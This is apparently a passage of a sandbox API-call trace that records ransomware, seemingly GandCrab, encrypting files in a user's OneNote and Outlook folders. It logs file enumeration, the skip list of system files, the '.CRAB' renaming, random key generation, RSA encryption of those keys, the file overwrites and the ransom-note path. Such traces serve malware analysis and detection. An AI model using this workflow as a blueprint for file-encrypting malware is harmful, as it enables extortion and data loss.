	[0128.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="Open Notebook.onetoc2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2"
	[0128.981] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.981] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 83
	[0128.981] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 83
	[0128.981] lstrlenW (lpString=".onetoc2") returned 8
	[0128.981] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.981] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".onetoc2 ") returned 9
	[0128.982] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.982] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 83
	[0128.982] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2") returned 83
	[0128.982] lstrcmpiW (lpString1="Open Notebook.onetoc2", lpString2="desktop.ini") returned 1
	[0128.982] lstrcmpiW (lpString1="Open Notebook.onetoc2", lpString2="autorun.inf") returned 1
	[0128.982] lstrcmpiW (lpString1="Open Notebook.onetoc2", lpString2="ntuser.dat") returned 1
	[0128.982] lstrcmpiW (lpString1="Open Notebook.onetoc2", lpString2="iconcache.db") returned 1
	[0128.982] lstrcmpiW (lpString1="Open Notebook.onetoc2", lpString2="bootsect.bak") returned 1
	[0128.982] lstrcmpiW (lpString1="Open Notebook.onetoc2", lpString2="boot.ini") returned 1
	[0128.982] lstrcmpiW (lpString1="Open Notebook.onetoc2", lpString2="ntuser.dat.log") returned 1
	[0128.982] lstrcmpiW (lpString1="Open Notebook.onetoc2", lpString2="thumbs.db") returned -1
	[0128.982] lstrcmpiW (lpString1="Open Notebook.onetoc2", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.982] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.982] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CRAB") returned 88
	[0128.983] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2")) returned 0x20
	[0128.983] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", dwFileAttributes=0x20) returned 1
	[0128.984] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2.crab")) returned 1
	[0128.985] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.986] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CRAB"
	[0128.986] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CRAB.CRAB"
	[0128.986] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0128.990] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.991] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.991] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0128.991] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.991] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.991] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0128.994] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.994] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.994] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.994] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0128.995] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.995] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.995] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.995] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.995] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0128.998] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318e338) returned 1
	[0128.998] CryptGetKeyParam (in: hKey=0x318e338, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0128.998] CryptEncrypt (in: hKey=0x318e338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0128.999] GetLastError () returned 0x0
	[0128.999] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.999] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0129.002] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318dff8) returned 1
	[0129.002] CryptGetKeyParam (in: hKey=0x318dff8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0129.002] CryptEncrypt (in: hKey=0x318dff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0129.002] GetLastError () returned 0x0
	[0129.002] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.002] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0129.003] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.003] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.003] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x1828, lpOverlapped=0x0) returned 1
	[0129.043] VirtualAlloc (lpAddress=0x0, dwSize=0x1830, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.140] VirtualAlloc (lpAddress=0x0, dwSize=0x1830, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0129.141] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.141] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffffe7d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.141] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x1830, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0x1830, lpOverlapped=0x0) returned 1
	[0129.142] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.142] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.146] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0129.146] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0129.146] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0129.146] CloseHandle (hObject=0x3f0) returned 1
	[0129.146] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.146] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.147] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.147] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.147] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.147] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.147] FindNextFileW (in: hFindFile=0x318dfb8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0129.147] lstrcmpW (lpString1="Quick Notes.one", lpString2=".") returned 1
	[0129.148] lstrcmpW (lpString1="Quick Notes.one", lpString2="..") returned 1
	[0129.148] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="Quick Notes.one" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one"
	[0129.148] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.148] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 77
	[0129.148] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 77
	[0129.148] lstrlenW (lpString=".one") returned 4
	[0129.148] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.148] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".one ") returned 5
	[0129.148] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.149] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 77
	[0129.149] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one") returned 77
	[0129.149] lstrcmpiW (lpString1="Quick Notes.one", lpString2="desktop.ini") returned 1
	[0129.149] lstrcmpiW (lpString1="Quick Notes.one", lpString2="autorun.inf") returned 1
	[0129.149] lstrcmpiW (lpString1="Quick Notes.one", lpString2="ntuser.dat") returned 1
	[0129.149] lstrcmpiW (lpString1="Quick Notes.one", lpString2="iconcache.db") returned 1
	[0129.149] lstrcmpiW (lpString1="Quick Notes.one", lpString2="bootsect.bak") returned 1
	[0129.149] lstrcmpiW (lpString1="Quick Notes.one", lpString2="boot.ini") returned 1
	[0129.149] lstrcmpiW (lpString1="Quick Notes.one", lpString2="ntuser.dat.log") returned 1
	[0129.149] lstrcmpiW (lpString1="Quick Notes.one", lpString2="thumbs.db") returned -1
	[0129.149] lstrcmpiW (lpString1="Quick Notes.one", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.149] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.149] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CRAB") returned 82
	[0129.149] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one")) returned 0x20
	[0129.150] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", dwFileAttributes=0x20) returned 1
	[0129.150] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one.crab")) returned 1
	[0129.151] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.151] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CRAB"
	[0129.151] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CRAB.CRAB"
	[0129.151] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0129.154] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.154] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.154] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.154] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0129.154] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.155] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.155] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0129.158] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.158] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.158] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.158] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0129.158] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.158] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.159] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.159] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.159] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e7c0) returned 1
	[0129.162] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318e038) returned 1
	[0129.162] CryptGetKeyParam (in: hKey=0x318e038, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0129.162] CryptEncrypt (in: hKey=0x318e038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0129.162] GetLastError () returned 0x0
	[0129.162] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0129.162] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0129.165] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318ddb8) returned 1
	[0129.165] CryptGetKeyParam (in: hKey=0x318ddb8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0129.165] CryptEncrypt (in: hKey=0x318ddb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0129.166] GetLastError () returned 0x0
	[0129.166] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.166] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0129.166] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.167] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.167] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x57ec8, lpOverlapped=0x0) returned 1
	[0129.265] VirtualAlloc (lpAddress=0x0, dwSize=0x57ed0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.269] VirtualAlloc (lpAddress=0x0, dwSize=0x57ed0, flAllocationType=0x3000, flProtect=0x4) returned 0x360000
	[0129.284] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.287] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffa8138, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.287] WriteFile (in: hFile=0x3f0, lpBuffer=0x360000*, nNumberOfBytesToWrite=0x57ed0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x360000*, lpNumberOfBytesWritten=0x314bf0c*=0x57ed0, lpOverlapped=0x0) returned 1
	[0129.289] VirtualFree (lpAddress=0x360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.290] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.295] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0129.296] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0129.296] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0129.296] CloseHandle (hObject=0x3f0) returned 1
	[0129.296] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.296] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.297] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.297] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.297] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.298] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.298] FindNextFileW (in: hFindFile=0x318dfb8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0129.298] FindClose (in: hFindFile=0x318dfb8 | out: hFindFile=0x318dfb8) returned 1
	[0129.298] FindNextFileW (in: hFindFile=0x318df78, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0129.298] FindClose (in: hFindFile=0x318df78 | out: hFindFile=0x318df78) returned 1
	[0129.298] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0129.298] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1
	[0129.298] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1
	[0129.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files"
	[0129.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\"
	[0129.298] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.298] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0129.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0129.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0129.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0129.299] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0129.299] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0129.299] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0129.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0129.299] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0129.299] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0129.299] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.299] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\\\CRAB-DECRYPT.txt") returned 63
